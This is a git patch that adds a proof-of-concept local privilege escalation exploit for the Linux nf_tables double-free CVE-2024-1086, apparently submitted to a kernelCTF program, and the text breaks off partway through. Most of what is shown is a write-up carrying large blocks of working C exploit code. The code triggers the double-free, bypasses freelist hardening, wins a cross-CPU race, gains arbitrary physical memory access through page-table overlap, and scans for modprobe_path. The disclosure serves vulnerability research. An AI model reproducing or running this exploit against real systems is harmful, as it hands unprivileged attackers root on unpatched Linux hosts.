From d35192a76b7b04c1e7518cfbfa45599774be021e Mon Sep 17 00:00:00 2001
From: Lau <68616630+Notselwyn@users.noreply.github.com>
Date: Thu, 12 Sep 2024 15:04:33 +0200
Subject: [PATCH] kernelCTF: added CVE-2024-1086 lts mitigation (#96)
* kernelCTF: added CVE-2024-1086 lts mitigation
* fix: musl-tools added
* fix: trying apt update to fix include issue?
* fix: tred fixing includes replacing musl-gcc with gcc. stability concerns?
* fix: reversed previous commit. invalid AVX512 instructions
* fix: tried including -mno-avx512f
* fix: tried replacing musl-gcc with gcc
* fix: reverse previous -mno-avx512f commit (it does not fix static glibc/ld/etc)
* fix: attempted fix by inversing include dirs, and added debug statements
* fix: added debug statements
* fix: added more debuig
* fix: added header files
* fix: added UAPI header files for lts
* fix: removed debug statements
* CVE-2024-1086: added more info to exploit (still incomplete)
* fix: completed exploit.md
* docs: added abbreviations for diagram
* docs: added references in code snippet
* docs: explained ip struct values in detail
* docs: included link to blogpost
* docs: fixed PUD pagetable layer nr
* docs: improved documentation for dirty pagetable technique
* docs: changed paths to external repo to relative path in repo
* Update novel-techniques.md
* test: kernelctf gcc static compile
* test: added libmnl-dev dependency for header
* fix: added libnftnl headers to dependencies
* test: switched to using apt installed headers
* fix: include header path
* fix: changed include path order
* fix: include with incorrect header paths
* fix: linux header include path
* chore: got rid of header bomb lol
* fix: asm headers
* fix: asm-generic headers (please let this be the last)
* fix: asm headers
* fix: got rid of header nuke
* chore: got rid of header nuke for real this time
---
.../docs/exploit.md | 721 +++++++++++++
.../docs/img/pagesetup.svg | 3 +
.../docs/novel-techniques.md | 203 ++++
.../docs/vulnerability.md | 47 +
.../exploit/lts-6.1.72/Makefile | 42 +
.../exploit/lts-6.1.72/exploit | Bin 0 -> 821952 bytes
.../exploit/lts-6.1.72/lib/libmnl-LICENSE.md | 516 +++++++++
.../exploit/lts-6.1.72/lib/libmnl.a | Bin 0 -> 26194 bytes
.../lts-6.1.72/lib/libnftnl-LICENSE.md | 350 +++++++
.../exploit/lts-6.1.72/lib/libnftnl.a | Bin 0 -> 465612 bytes
.../exploit/lts-6.1.72/src/config.h | 12 +
.../exploit/lts-6.1.72/src/env.c | 131 +++
.../exploit/lts-6.1.72/src/env.h | 16 +
.../exploit/lts-6.1.72/src/exploit.c | 981 ++++++++++++++++++
.../exploit/lts-6.1.72/src/file.c | 28 +
.../exploit/lts-6.1.72/src/file.h | 10 +
.../exploit/lts-6.1.72/src/net.c | 85 ++
.../exploit/lts-6.1.72/src/net.h | 7 +
.../exploit/lts-6.1.72/src/nftnl.c | 246 +++++
.../exploit/lts-6.1.72/src/nftnl.h | 7 +
.../exploit/mitigation-v3-6.1.55/Makefile | 42 +
.../exploit/mitigation-v3-6.1.55/exploit | Bin 0 -> 169360 bytes
.../lib/libmnl-LICENSE.md | 516 +++++++++
.../exploit/mitigation-v3-6.1.55/lib/libmnl.a | Bin 0 -> 26194 bytes
.../lib/libnftnl-LICENSE.md | 350 +++++++
.../mitigation-v3-6.1.55/lib/libnftnl.a | Bin 0 -> 465612 bytes
.../exploit/mitigation-v3-6.1.55/src/config.h | 12 +
.../exploit/mitigation-v3-6.1.55/src/env.c | 131 +++
.../exploit/mitigation-v3-6.1.55/src/env.h | 16 +
.../mitigation-v3-6.1.55/src/exploit.c | 981 ++++++++++++++++++
.../exploit/mitigation-v3-6.1.55/src/file.c | 28 +
.../exploit/mitigation-v3-6.1.55/src/file.h | 10 +
.../exploit/mitigation-v3-6.1.55/src/net.c | 85 ++
.../exploit/mitigation-v3-6.1.55/src/net.h | 7 +
.../exploit/mitigation-v3-6.1.55/src/nftnl.c | 246 +++++
.../exploit/mitigation-v3-6.1.55/src/nftnl.h | 7 +
.../metadata.json | 34 +
.../original_exp121.tar.gz | Bin 0 -> 1938374 bytes
.../original_exp124.tar.gz | Bin 0 -> 1938374 bytes
39 files changed, 5870 insertions(+)
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/exploit.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/img/pagesetup.svg
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/novel-techniques.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/vulnerability.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/Makefile
create mode 100755 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/exploit
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/lib/libmnl-LICENSE.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/lib/libmnl.a
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/lib/libnftnl-LICENSE.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/lib/libnftnl.a
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/config.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/env.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/env.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/exploit.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/file.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/file.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/net.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/net.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/nftnl.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/lts-6.1.72/src/nftnl.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/Makefile
create mode 100755 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/exploit
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/lib/libmnl-LICENSE.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/lib/libmnl.a
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/lib/libnftnl-LICENSE.md
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/lib/libnftnl.a
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/config.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/env.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/env.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/exploit.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/file.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/file.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/net.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/net.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/nftnl.c
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/exploit/mitigation-v3-6.1.55/src/nftnl.h
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/metadata.json
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/original_exp121.tar.gz
create mode 100644 pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/original_exp124.tar.gz
diff --git a/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/exploit.md
new file mode 100644
index 000000000..22a28d50e
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/exploit.md
@@ -0,0 +1,721 @@
+# exploit
+
+Original LPE PoC for CVE-2024-1086, tested on Linux KernelCTF lts-6.1.72 and mitigation-6.1. Successrate of 99.6% on LTS on local testing.
+
+The author has published a blogpost on this exploit: "[Flipping Pages: An analysis of a new Linux vulnerability in nf_tables and hardened exploitation techniques](https://pwning.tech/nftables/)", containing extra background information on topics covered in this write-up.
+
+## Requirements
+
+As described in the vulnerability docs, the exploit requires nf_tables and unprivileged user namespaces to be available.
+
+Caveats for this version of the exploit:
+- Only works on QEMU VMs (because of a race-condition related to converting pages from order==4 to order==0)
+- Requires at least 2 CPU cores to be present (because of the race condition above)
+- Requires a maximum of 4GiB physical memory
+
+The updated version is included in the seperate blogpost and Github repo.
+
+## Multiprocessing
+
+This exploit makes use of 2 processes, because of a race condition.
+
+In this version, there are 2 threads for Dirty Pagedirectory: the "target PFN write" thread (PMD side), and the "target page access" thread (PUD side). This is because the PUD page and PMD page are allocated in the seperate processes. It is possible to make this behaviour obsolete, but this was unknown at the time of submission.
+
+The communication between the threads happen through an shared `struct shared_info` instance, mmap'd in `main()`. There are several status indicators in this struct:
+- `mem_status`: an indicator of the memory scanning status (saying thread 1 should proceed or thread 2 should proceed)
+- `lock_status`: an indicator of a CPU lock, used when syncing up the threads for the race condition.
+- `flush_status`: obsolete indicator which was used for communication between the TLB flushing parent and child. Now, the TLB flushing function mmap's its own indicator, which is now thread safe.
+- `exploit_status`: an indicator used for the foreground exploit thread which makes it look like the exploit process stopped when it is done, whilst the child actually keeps running by sleeping to avoid a kernel bug.
+
+```c
+#define SPINLOCK_NOSLEEP(cmp) while (cmp) { }
+
+// syncs threads within 5ms diffs by calling both SYNC_CPU0() and SYNC_CPU1()
+// allows CPU1 to be earlier and allows CPU0 to be earlier
+
+#define SYNC_CPU0() do { \
+ printf("[*] syncing cpu 0...\n"); \
+ SPINLOCK_NOSLEEP(memdump_info->lock_status == LOCK_STAT_NONE); \
+\
+ memdump_info->lock_status = LOCK_STAT_0; \
+ SPINLOCK_NOSLEEP(memdump_info->lock_status == LOCK_STAT_0); \
+\
+ memdump_info->lock_status = LOCK_STAT_NONE; \
+ } while (0);
+
+#define SYNC_CPU1() do { \
+ printf("[*] syncing cpu 1...\n"); \
+ memdump_info->lock_status = LOCK_STAT_1; \
+ SPINLOCK_NOSLEEP(memdump_info->lock_status == LOCK_STAT_1); \
+\
+ memdump_info->lock_status = LOCK_STAT_1; \
+ } while (0);
+ ```
+
+## Workflow - Setup
+
+### Namespaces
+
+Before we can exploit the vuln, we need to setup user namespaces so we can set up our own nft rules, and disable RPF (anti IP spoofing thing, which prevents us from traversing a specific IPv4 codepath to avoid kernel panics). The code for these procedures are straightforward but a lot of code, so I will not show it here.
+
+```c
+void setup_env()
+{
+ uid_t uid = getuid();
+ gid_t gid = getgid();
+
+ do_unshare();
+ configure_uid_map(uid, gid);
+ configure_interfaces();
+ configure_nftables();
+ clean_files();
+}
+```
+
+### Nft rule triggering the bug
+
+Before we can trigger the vuln, we need to set up an nft rule which returns the malicious verdict. To avoid false positives, we need to specify a unique filter so only our exploits' packet triggers the double-free. If we did not apply the filter, every IPv4 packet in the system would get double-freed. Our filter is arbitrary, and I chose for filtering for packets which have IPv4 header protocol == 69 && first 4 bytes "\x41\x41\x41\x41". I have not experienced false positives with this.
+
+```c
+static void add_set_verdict(struct nftnl_rule *r, uint32_t val)
+{
+ struct nftnl_expr *e;
+
+ e = nftnl_expr_alloc("immediate");
+ if (e == NULL) {
+ perror("expr immediate");
+ exit(EXIT_FAILURE);
+ }
+
+ nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
+ nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, val); // Set the verdict to 0x69
+
+ nftnl_rule_add_expr(r, e);
+}
+
+static struct nftnl_rule *alloc_rule(unsigned char family, const char *table, const char *chain, unsigned char proto)
+{
+ struct nftnl_rule *r = NULL;
+
+ r = nftnl_rule_alloc();
+ if (r == NULL) {
+ perror("rule alloc");
+ exit(EXIT_FAILURE);
+ }
+
+ nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
+ nftnl_rule_set(r, NFTNL_RULE_TABLE, table);
+ nftnl_rule_set(r, NFTNL_RULE_CHAIN, chain);
+
+ // expect protocol to be `proto`
+ add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1, offsetof(struct iphdr, protocol), sizeof(unsigned char));
+ add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(unsigned char));
+
+ // expect 4 first bytes of packet to be \x41
+ add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1, sizeof(struct iphdr), 4);
+ add_cmp(r, NFT_REG_1, NFT_CMP_EQ, "\x41\x41\x41\x41", 4);
+
+
+ // (NF_DROP | -((0xFFFF << 16) >> 16)) == 1, aka NF_ACCEPT (trigger double free)
+ // (NF_DROP | -((0xFFF0 << 16) >> 16)) == 16
+ add_set_verdict(r, 0xFFFF << 16);
+
+ return r;
+}
+```
+
+### Pre-allocating Dirty Pagedirectory PUDs
+
+In order to use Dirty Pagedirectory we must register VMAs before we can allocate the pages and pagetables. Additionally, notice how we pre-allocate the PUD for the PMD double-alloc etc, so we do not allocate the PUD when we need to allocate the PMD.
+
+These VMA address ranges are semi-arbitrary, as long as they align with their targetted pagetable entries.
+
+```c
+static void privesc_flh_bypass(struct shared_info *memdump_info)
+{
+ unsigned long long *pmd_area;
+ void *_pud_area;
+ void *pud_kernel_area;
+ void *pud_data_area;
+ // ... (more var declarations)
+
+ // pre-allocate PUD for PMD
+ mmap((void*)0x200000, 0x200000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ *(unsigned long long*)0x200000 = 0xCAFEBABE;
+
+ // pre-allocate VMA for PMD and PUD (not themself)
+ pmd_area = mmap((void*)0x40000000, 0x200000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0); // shared bcs it may be used for cache flushing
+
+ // these use different PTEs but the same PUD
+ _pud_area = mmap((void*)0x8000000000, 0x400000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+ pud_kernel_area = _pud_area;
+ pud_data_area = _pud_area + 0x200000;
+
+ // ... (more exploit code)
+}
+```
+
+## Workflow - Double-free -> Dirty Pagedirectory
+
+Before we proceed, please checkout the image below, describing the operations to set up Dirty Pagedirectory (PUD+PMD):
+
+> Abbreviations:
+> - `skb`: socket buffer, a.k.a. `struct sk_buff`
+> - `SLAB`: kernel memory allocation through the SLAB allocator (e.g. kmalloc)
+> - `BUD`: kernel memory allocation through the buddy (BUD) allocator
+> - `PCP`: kernel memory allocation through the per-CPU page (PCP) allocator
+> - `P`: page amount (i.e. `skb->head` size), so 1P = 1 page, 16P = 16 pages
+> - `PMD`: Page Upper Directory (pagetables L2)
+> - `PUD`: Page Upper Directory (pagetables L3)
+
+
+
+### Setup for `CONFIG_FREELIST_HARDENED` naive DF detection bypass
+
+In order to bypass `CONFIG_FREELIST_HARDENED`'s naive double-free detection in the SLAB freelists, we simply allocate an `struct sk_buff` from the freelist[1] before the double-free[[2](../exploit/lts-6.1.72/src/exploit.c#L362)], which we free (append to the freelist)[[3](../exploit/lts-6.1.72/src/exploit.c#L368)] in between the double-free.
+
+#### `df_ip_header` explanation
+
+The variable `df_ip_header` is the content of the IPv4 packets sent to the kernel from userland by the exploit to shape the memory. It contains standardized IPv4 packet fields like `ip_v` (IP version used by the packet), `ip_hl` (IP header length divided by 4 bytes: in this case 20 bytes so `ip_hl = 20 / 4 = 5`), `ip_tos`, and `ip_ttl`.
+
+Other fields are cherrypicked for the exploit:
+- `ip_len`, `ip_id`, and `ip_off` (used for skb freelist shaping, see arbitrary skb free technique)
+- `ip_p` (arbitrary protocol number: should be unused, as it is used to filter the double free packet in the nftables rule)
+- `ip_src` and `ip_dst` (used to bypass corruption because `skb->dst` is corrupted due to double-free)
+
+```c
+static void privesc_flh_bypass(struct shared_info *memdump_info)
+{
+ // ... (var declarations)
+ struct ip df_ip_header = {
+ .ip_v = 4,
+ .ip_hl = 5,
+ .ip_tos = 0,
+ .ip_len = 0xDEAD,
+ .ip_id = 0xDEAD,
+ .ip_off = 0xDEAD,
+ .ip_ttl = 128,
+ .ip_p = 69,
+ .ip_src.s_addr = inet_addr("1.1.1.1"),
+ .ip_dst.s_addr = inet_addr("255.255.255.255"),
+ };
+ int child_pid;
+
+ // ... (setup)
+
+ set_ipfrag_time(1);
+
+ // ... (setup)
+
+ pin_cpu(0);
+ child_pid = fork();
+
+ if (child_pid == 0) {
+ // ... (more exploit stuff)
+ } else {
+#if CONFIG_FLC_BYPASS
+ set_ipfrag_time(1);
+
+ // will expire naturally after 1 second
+ df_ip_header.ip_id = 0x1334;
+ df_ip_header.ip_len = sizeof(struct ip)*2 + 8*2 + 8;
+ df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000);
+ alloc_intermed_buf_hdr(8, &df_ip_header); // [1]
+
+ // make sure df trigger packet doesn't get expired while waiting for skb5 to be freed
+ set_ipfrag_time(999);
+#endif
+ // ... (do double-free)
+ }
+
+ // ... (more exploit stuff)
+}
+```
+
+### Double-free (free 1)
+
+In order to trigger the double-free, we send the IPv4 packet which satisfies the filter. This will cause the first free of the double-free. Then, it will send the packet to an IPv4 fragment queue (IFQ), until 999 seconds have passed or until the queue is complete (which we will complete when the 2nd free happened).
+
+```c
+static void privesc_flh_bypass(struct shared_info *memdump_info)
+{
+ // ... (var declarations)
+ struct ip df_ip_header = {
+ .ip_v = 4,
+ .ip_hl = 5,
+ .ip_tos = 0,
+ .ip_len = 0xDEAD,
+ .ip_id = 0xDEAD,
+ .ip_off = 0xDEAD,
+ .ip_ttl = 128,
+ .ip_p = 69,
+ .ip_src.s_addr = inet_addr("1.1.1.1"),
+ .ip_dst.s_addr = inet_addr("255.255.255.255"),
+ };
+ int child_pid;
+
+ // ... (setup)
+
+ pin_cpu(0);
+ child_pid = fork();
+
+ if (child_pid == 0) {
+ // ... (more exploit stuff)
+ } else {
+#if CONFIG_FLC_BYPASS
+ set_ipfrag_time(1);
+
+ // ... (create double-free evasion packet, which will be freed 1 sec from now)
+
+ // make sure df trigger packet doesn't get expired while waiting for skb5 to be freed
+ set_ipfrag_time(999);
+#endif
+
+ df_ip_header.ip_id = 0x1337;
+ df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
+ df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000); // wait for other fragments. 8 >> 3 to make it wait or so?
+ trigger_double_free_hdr(32768 + 8, &df_ip_header);
+
+ // ... (more exploit stuff)
+ }
+
+ // ... (more exploit stuff)
+}
+```
+
+### Middle double-free obj free (DF detection evasion)
+
+Now the first free happened, we need to do the free in the middle to prevent naive double-free detection. We do this by waiting 1000ms (+ 100ms buffer): the time we specified earlier with `set_ipfrag_time(1)`.
+
+We also set the ipfrag_time for the double-free packet to be 999, which means it will not expire now (but 999 seconds from now).
+
+```c
+static void privesc_flh_bypass(struct shared_info *memdump_info)
+{
+ // ... (var declarations)
+ struct ip df_ip_header = {
+ .ip_v = 4,
+ .ip_hl = 5,
+ .ip_tos = 0,
+ .ip_len = 0xDEAD,
+ .ip_id = 0xDEAD,
+ .ip_off = 0xDEAD,
+ .ip_ttl = 128,
+ .ip_p = 69,
+ .ip_src.s_addr = inet_addr("1.1.1.1"),
+ .ip_dst.s_addr = inet_addr("255.255.255.255"),
+ };
+ int child_pid;
+
+ // ... (setup)
+
+ pin_cpu(0);
+ child_pid = fork();
+
+ if (child_pid == 0) {
+ // ... (more exploit stuff)
+ } else {
+ // ... (DF free 1)
+
+#if CONFIG_FLC_BYPASS
+ // reset timer since our other-CPU packet is expiring on 1 sec
+ set_ipfrag_time(1);
+
+ // wait for corruption bypass packet to expire
+ // this may need to be longer or shorter, depending on WARNING() duration
+ //sleep(2);
+ usleep(1100 * 1000);
+#endif
+
+ // ... (more exploit stuff)
+ }
+
+ // ... (more exploit stuff)
+}
+```
+
+### Double-free (free 2) + race condition + double-alloc
+
+Now it's time to pull of the race condition for the 2nd free:
+
+1. sync both threads
+2. CPU 0 thread allocate the packet with previous skb->head | CPU 1 thread frees this skb->head
+3. CPU 1 allocates double-alloc PMD page
+4. CPU 0 packet expires after 1s
+5. CPU 0 allocates double-alloc PUD page
+
+For a full explanation of the technique, check the novel techniques document, which describes the order 4 -> order 0 conversion technique in detail.
+
+Notice how we allocate hte PUD and PMD by writing to the address, since pagetables are allocated JIT: if we do not access the virtual address in it's bailywick, it will not be allocated.
+
+
+```c
+static void privesc_flh_bypass(struct shared_info *memdump_info)
+{
+ // ... (var declarations)
+ struct ip df_ip_header = {
+ .ip_v = 4,
+ .ip_hl = 5,
+ .ip_tos = 0,
+ .ip_len = 0xDEAD,
+ .ip_id = 0xDEAD,
+ .ip_off = 0xDEAD,
+ .ip_ttl = 128,
+ .ip_p = 69,
+ .ip_src.s_addr = inet_addr("1.1.1.1"),
+ .ip_dst.s_addr = inet_addr("255.255.255.255"),
+ };
+ int child_pid;
+
+ // ... (setup)
+
+ pin_cpu(0);
+ child_pid = fork();
+
+ if (child_pid == 0) {
+ pin_cpu(1);
+
+ SYNC_CPU1();
+
+ // append to ip packet with fragment to free packet on *this* cpu
+ // offset <<= 3, so divide by 8 aka >> 3 (this is so we have 3 bits for fragmentation flags)
+ // setup ipfrag_time timer for fragment expiration / waiting for frags
+ df_ip_header.ip_id = 0x1337;
+ df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
+ df_ip_header.ip_off = ntohs(((32768 + 8) >> 3) | 0x2000);
+
+ // skb1->len gets overwritten by s->random() in set_freepointer(). need to discard queue with tricks circumventing skb1->len
+ // causes end == offset in ip_frag_queue(). packet will be empty
+ // remains running until after both frees, a.k.a. does not require sleep
+ alloc_intermed_buf_hdr(0, &df_ip_header);
+
+ pmd_area[0] = 0xDEADBEEF;
+
+ // ... (more exploit stuff)
+ } else {
+ // ... (DF free 1 + mid free)
+
+ SYNC_CPU0();
+
+ // soft lock on cpu == too early
+ // bad page (non-zero page refcount) == too late (missed warning() window), nearly did undetected double free
+
+ //usleep(30 * 1000); // env:qemu-debug,kernel:debug,fs:debian,redirect:stdout env:kernel-debug-v3,kernel:lts-6.1.72,fs:kernelctf,redirect:none
+ usleep(20 * 1000); // env:kernel-debug-v2,kernel:lts-6.1.72,fs:kernelctf,redirect:none env:kernelctf,kernel:lts-6.1.64,fs:debian,redirect:none
+ // ^^^^ REVERT FOR KERNELCTF PROD ^^^^
+
+ // alloc skb3, and wait 1 second for allocating next packet to give time to other thread for allocating pmd
+ df_ip_header.ip_id = 0x1338;
+ df_ip_header.ip_len = sizeof(struct ip) + 32768 + 16;
+ df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000);
+ alloc_intermed_buf_hdr(32768 + 8, &df_ip_header);
+
+ // skb3 will be free'd
+ usleep(1100 * 1000);
+
+ // allocate overlapping PUD (overlaps with PMD)
+ *(unsigned long long*)_pud_area = 0xCAFEBABE;
+
+ // ... (more exploit stuff)
+ }
+
+ // ... (more exploit stuff)
+}
+```
+
+## Workflow - Dirty Pagedirectory
+
+Now we have access to the double-allocated PMD page and PUD page, we can do the fun stuff (unlimited read/write to any physical memory address).
+
+### PMD write loop (hacky IPC)
+
+In this version of the exploit Dirty Pagedirectory has to be split in 2 threads (because internally the pagetable pages differ). This means the target-address-write and target-address-dereference parts have to be split across threads.
+
+Therefore, IPC has to be implemented. Don't be afraid: it's just a struct in shared memory VMA with a few states in a while loop, kind of like a lock. Nothing to be scared about.
+
+Here's the part with the PMD write, or put differently, the target-address-write loop. The other thread can write the target address to the shared struct, and this loop will change the target address to it.
+
+`memdump_info->mem_status == MEM_STAT_DO_UPDATE` tells the loop to change the PMD area to a base of `memdump_info->iteration_base`. After it is done, it will change it to `memdump_info->mem_status == MEM_STAT_DO_IO`, letting the other thread know it can continue.
+
+```c
+static void flush_tlb(void *x, void *addr, size_t len)
+{
+ short *status;
+
+ status = mmap(NULL, sizeof(short), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+
+ *status = FLUSH_STAT_INPROGRESS;
+ if (fork() == 0)
+ {
+ munmap(addr, len);
+ *status = FLUSH_STAT_DONE;
+ PRINTF_VERBOSE("[*] flush tlb thread gonna sleep\n");
+ sleep(9999);
+ }
+
+ SPINLOCK(*status == FLUSH_STAT_INPROGRESS);
+
+ munmap(status, sizeof(short));
+}
+
+static void privesc_flh_bypass(struct shared_info *memdump_info)
+{
+ // ... (var declarations)
+ struct ip df_ip_header = {
+ .ip_v = 4,
+ .ip_hl = 5,
+ .ip_tos = 0,
+ .ip_len = 0xDEAD,
+ .ip_id = 0xDEAD,
+ .ip_off = 0xDEAD,
+ .ip_ttl = 128,
+ .ip_p = 69,
+ .ip_src.s_addr = inet_addr("1.1.1.1"),
+ .ip_dst.s_addr = inet_addr("255.255.255.255"),
+ };
+ int child_pid;
+
+ // ... (setup)
+
+ pin_cpu(0);
+ child_pid = fork();
+
+ if (child_pid == 0) {
+ pin_cpu(1);
+
+ // ... ()
+
+ // pud will be allocated and populated
+ SPINLOCK(memdump_info->mem_status == MEM_STAT_DO_IO);
+
+ flush_tlb(memdump_info, pmd_area, 0x200000);
+
+ //printf("[*] PTE for PUD page: %016llx\n", pmd_area[0]);
+ printf("[*] PTE for PMD page: %016llx\n", *(unsigned long long*)pmd_area);
+
+ // this supports physical memory of (CONFIG_PHYSICAL_START * 512) bytes, i.e. (0x1000000 * 512) = 8GiB, can upped if necessary by just looping the code on both threads
+ for (unsigned short j=0; j < 512; j++)
+ pmd_area[j] = (CONFIG_PHYSICAL_START * j) | 0x8000000000000867;
+
+ // will deadlock when other process completes
+ while (1) {
+ memdump_info->mem_status = MEM_STAT_DO_IO;
+ SPINLOCK(memdump_info->mem_status == MEM_STAT_DO_IO);
+
+ // try an(other) iteration of 0x200000 kernel bytes
+ PRINTF_VERBOSE("[*] setting physical address range to 0x%016llx - 0x%016llx\n", memdump_info->iteration_base, memdump_info->iteration_base + 0x200000);
+
+ // set the pages for the other threads PUD data range to kernel memory
+ for (unsigned short j=0; j < 512; j++)
+ pmd_area[512 + j] = (memdump_info->iteration_base + 0x1000 * j) | 0x8000000000000867;
+ }
+ } else {
+ // ... (more exploit stuff)
+ }
+}
+```
+
+### Finding `modprobe_path` through physical scanning
+
+This part of the exploit is pretty obvious, it iterates through the entire physical memory and utilizes the KASLR bruteforce technique. By scanning for the kernel start in increments of `CONFIG_PHYSICAL_START`, and then scanning manually 80MiB kernel memroy, we can find `modprobe_path` with minimal effort.
+
+The signature for the first page of the kernel is automatically generated.
+
+```c
+static int is_kernel_base(unsigned char *addr)
+{
+ // thanks python
+ if (memcmp(addr + 0x0, "\x48\x8d\x25\x51\x3f", 5) == 0 &&
+ memcmp(addr + 0x7, "\x48\x8d\x3d\xf2\xff\xff\xff\xb9\x01\x01\x00\xc0\x48\x8b\x05", 15) == 0 &&
+ memcmp(addr + 0x1a, "\x48\xc7\xc2\x00\x00\x00", 6) == 0 &&
+ memcmp(addr + 0x21, "\x48\x29\xd0\x48\x01\xf8\x48\x89\xc2\x48\xc1\xea\x20\x0f\x30\x56\xe8", 17) == 0 &&
+ memcmp(addr + 0x34, "\x00\x00\x5e", 3) == 0 &&
+ memcmp(addr + 0x43, "\x48", 1) == 0 &&
+ memcmp(addr + 0x4d, "\xe8", 1) == 0 &&
+ memcmp(addr + 0x50, "\x00\x00\x48\x8d\x3d\xa7\xff\xff\xff\x56\xe8", 11) == 0 &&
+ memcmp(addr + 0x5d, "\x00\x00\x5e\x48", 4) == 0 &&
+ memcmp(addr + 0x6c, "\x00\x00\x00\x00\xe8", 5) == 0 &&
+ memcmp(addr + 0x72, "\x00\x00\x00\x48\x8b\x04\x25", 7) == 0 &&
+ memcmp(addr + 0x7d, "\x48", 1) == 0 &&
+ memcmp(addr + 0x8d, "\x00\x00", 2) == 0) {
+ return 1;
+ }
+
+ return 0;
+}
+
+static void privesc_flh_bypass(struct shared_info *memdump_info)
+{
+ // ... (var declarations)
+ struct ip df_ip_header = {
+ .ip_v = 4,
+ .ip_hl = 5,
+ .ip_tos = 0,
+ .ip_len = 0xDEAD,
+ .ip_id = 0xDEAD,
+ .ip_off = 0xDEAD,
+ .ip_ttl = 128,
+ .ip_p = 69,
+ .ip_src.s_addr = inet_addr("1.1.1.1"),
+ .ip_dst.s_addr = inet_addr("255.255.255.255"),
+ };
+ int child_pid;
+
+ // ... (setup)
+
+ pin_cpu(0);
+ child_pid = fork();
+
+ if (child_pid == 0) {
+ // PMD write loop (through IPC)
+ } else {
+ // allocate overlapping PUD (overlaps with PMD)
+
+
+ memdump_info->mem_status = MEM_STAT_DO_UPDATE;
